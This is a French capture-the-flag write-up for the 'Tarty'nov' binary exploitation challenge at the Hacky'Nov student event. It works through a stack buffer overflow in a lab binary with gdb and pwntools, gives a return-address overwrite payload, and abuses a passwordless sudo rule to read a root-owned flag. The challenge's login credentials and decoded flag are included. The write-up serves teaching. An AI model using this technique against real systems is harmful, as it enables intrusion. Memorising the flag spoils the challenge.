

WRITEUP

Tarty'nov - PWN

Romain MEYSONNET

HACKY'NOV

Hacky'Nov est une association créée dans le cadre des YDAYS organisés par l'école YNOV qui organise chaque année un CTF afin d'initier le grand public aux différentes problématiques de cybersécurité.

L'événement est organisé par les étudiants du campus YNOV d'Aix-en-Provence et se décompose en trois parties.

La première partie est l'organisation d'un Capture The Flag (CTF). Chaque étudiant, de bachelor 1 à master 2 propose des challenges de cybersécurité, afin que les participants puissent en résoudre le maximum et gagner la compétition! Les challenges sont axés de sorte que même les débutants puissent en résoudre un maximum tout en sachant faire plaisir aux plus expérimentés

La deuxième partie est dédiée à l'organisation de conférences autour de problématiques et sujets de cybersécurité. Elles sont proposées soit par des étudiants volontaires, soit par des intervenants externes afin de former et de sensibiliser les participants sur des sujets ciblés.

La troisième et dernière partie permet d'organiser la rencontre des étudiants avec des entreprises travaillant autour de la cybersécurité. Les entreprises partenaires de l'événement qui sont en majorité de grands acteurs du domaine, auront un espace unique et dédié à la mise en relation avec les participants, qui sont pour la plupart, des étudiants en cybersécurité.

https://hackynov.fr/

Table des matières

Partie 1 : Présentation du challenge	.4
Partie 2 : Prérequis	.4
Partie 3 : Résolution	. 5

Partie 1 : Présentation du challenge



Nom du challenge : Tarty'nov

Domaine: PWN

Difficulté : ★★★★

Auteur: Romain MEYSONNET

Description: Nos espions, après avoir observé monsieur Tartos et ses habitudes, ont découverts qu'il cachait sa recette secrète sur son serveur. Nous avons pu récupérer son mot de passe, mais nos compétences sous Linux sont limitées à utiliser commande Tree. Saurezvous extraire sa recette secrète ?...

Partie 2 : Prérequis

Le challenge comporte le fichier suivant :



(Binaire ELF)

Les identifiants du serveur distant :

flagman: Fl4ggrZ

Ainsi que la commande permettant de se connecter au serveur distant :

\$ ssh flagman@ADDR_IP -p PORT

Tous les fichiers ainsi que le code source du challenge sont disponibles dans le même dossier que ce writeup.

Partie 3: Résolution

En se connectant sur la machine distante, je n'ai que des permissions dans mon répertoire home.

Le binaire tartynov est présent, et je peux l'exécuter.

Il me prompte un message et attends un input.

```
Entrez votre nom:
Romain
Je ne te connais pas, Romain
```

Le programme se ferme s'il ne me reconnaît pas apparemment.

Si je met une longue série de A, j'ai une erreur de segmentation, et le programme se ferme.

Je ne peux rien faire de plus sur cette machine, je télécharge donc le binaire avec scp.

```
scp -P PORT flagman@ADDR_IP:/home/flagman/tartynov ./tartynov
```

Après avoir téléchargé le binaire, je lance la commande file.

```
file tartynov
tartynov: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l
d-linux-x86-64.so.2, BuildID[sha1]=278eb10c28e06226544b5eac03cc1b7091d87bbe, for GNU/Linux 3.2.0, not s
tripped
```

Je peux voir qu'il s'agit d'un binaire compilé en 64bits.

J'utilise checksec afin d'en savoir plus sur la protection du fichier avant de le décompiler

```
the checksec --file=tartynov
    '/home/kali/Desktop/chall_pwn/tartynov'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: SOUNX disabled
    PIE: No PIE (0x400000)
    RWX: chall Has RWX segments buffer overflow
```

Je vois qu'il n'a pas de protection.

Enfin, je vais faire la dernière vérification avant de lancer gdb, lancer strings.

```
cat /root/flag.txt
Entrez votre nom:
Je ne te connais pas, %s
;*3$"
```

Je vois que le logiciel fait appel à un fichier dans /root/ intitulé flag.txt. Bien évidemment, je n'y ai pas accès tel quel.

Je lance donc GDB, et regarde les fonctions existantes.

```
info functions
All defined functions:
Non-debugging symbols:
0x00000000000401000 PVinit
0x0000000000401030
                    puts@plt
0x0000000000401040
                    system@plt
0x0000000000401050
                    printf@plt
                    __isoc99_scanf@plt
0x0000000000401060
                    _start
0x0000000000401070
                    _dl_relocate_static_pie
0x00000000004010a0
                    deregister_tm_clones
0x000000000004010b0
0x00000000004010e0
                    register_tm_clones
                    __do_global_dtors_aux
0x0000000000401120
0x0000000000401150
                    frame dummy
0x00000000000401156 flag
0x000000000040116c
                    register_name
0x00000000004011bc
                    main
0x00000000004011d4
                    _fini
```

La fonction la plus intéressante ici est intitulé flag.

Je vais disassemble la fonction et voir comment cela fonctionne.

```
disas flag
Dump of assembler code for function flag:
   0x00000000000401156 <+0>:
                                 push
  0x00000000000401157 <+1>:
                                 mov
                                                ip+0xea3]
  0x0000000000040115a <+4>:
                                 lea
                                                                 # 0x402004
  0x00000000000401161 <+11>:
                                 mov
  0x00000000000401164 <+14>:
                                         0x401040 <systemaplt>
                                 call
  0x00000000000401169 <+19>:
                                 nop
  0x0000000000040116a <+20>:
                                 pop
  0x0000000000040116b <+21>:
                                 ret
End of assembler dump.
```

Nous pourrions essayer d'exploiter l'instruction MOV.

Mais d'abord, il faut savoir combien de char le binaire peut prendre avant de crash.

Pour cela, nous allons utiliser la commande cyclic(100) de la librairie python pwntools.

```
>>> from pwn import *
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
>>> cyclic(100)
b'aaaabaaacaaadaaaeaaa'
>>> cyclic(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
>>>
```

Je vais donc prendre la série

« aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaoaaapaaaqaaar aaasaaataaauaaavaaawaaaxaaayaaa » et la passer dans qdb.

```
'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]
        0x6161616661616165 ("eaaafaaa"?)
                           "Je ne te connais pas, aaaabaaacaaadaaaeaaafaaagaaa[...]"
       0x000000004052a0 →
        0x000000004052da →
                           "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
                                memmove ssse3+320> movaps xmm1. XMMWORD PTR [rsi+0x10]
        0x0
        0x202
        0x007fffffffe298 → 0x007fffffffe552 → "TERM=xterm-256color"
        0x007ffff7ffd020 → 0x007ffff7ffe2e0 → 0x00000000000000000
      : [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

← $rsp

0x007ffffffffe178 +0x0010: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...
0x007fffffffe180 +0x0018: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]
0x007fffffffe188 +0x0020: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
0x007fffffffe190 +0x0028: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa
0x007ffffffffe198 +0x0030: "saaataaauaaavaaawaaaxaaayaaa'
0x007ffffffffe1a0 +0x0038: "uaaavaaawaaaxaaayaaa
```

Voici le compte rendu du crash.

Je vois que le programme s'est arrêté à la séquence gaaa.

Il me suffit de demander à python et pwntools combien de char cela compose, et je peux commencer le payload.

24, c'est le nombre de caractères qu'il faut pour overflow le buffer.

Étant donné que nous savons combien de char il faut pour faire crash le binaire, et que nous avons l'adresse de l'instruction MOV, nous pouvons construire le payload suivant :

```
python2 -c 'print "A" * 24 + "\x57\x11\x40"
```

Nous allons print 24 fois A, et y ajouter l'adresse en hexa du pointeur.

Vu qu'il s'agit de bytes, l'adresse 0x000000000401157 se lira de la façon suivante :

```
x57\x11\x40\x00\x00\x00\x00\x00
```

Vu que les 00 sont inutiles, je peux l'alléger, ce qui donne \x57\x11\x40

Je sauvegarde le payload dans un fichier, et exécute la commande.

Le payload a bien fonctionné, et nous sommes bien amené à l'adresse de la fonction flag.

Je peux donc déposer le payload sur la machine et essayer.

```
scp -P 10420 payload_tartynov flagman@127.0.0.1:/home/flagman/payload
```

Ca a fonctionné, mais je n'ai pas la permission de lire le fichier cat.txt...

Je fais un sudo -l afin de lister les permissions de mon user, et remarque qu'il peut utiliser sudo ./tartynov sans mot de passe.

```
flagman@27fd6635cc2b:~$ sudo -l
Matching Defaults entries for flagman on 27fd6635cc2b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr
User flagman may run the following commands on 27fd6635cc2b:
    (root) NOPASSWD: /home/flagman/tartynov
```

Je lance donc la commande en sudo, et j'obtiens le flag.

Le flag semble encodé en base64 (représenté avec les == à la fin), mais cela ne ressemble pas tant que ça a du base64.

Je vais le décoder au cas ou.



Du charabia.

Après inspection je remarque que les charactères ne vont pas plus loin que la lettre f. Cela ressemble à de l'hexa.

Je retire les == et le met dans le décodeur from hexa.



Flag: HN0x02{T4stY_Fl4g_Mhhh}

Je pouvais aussi le mettre avec l'option MAGIC en enlevant les == si je n'avais pas remarqué l'hexa dissimulé.



Flag trouvé!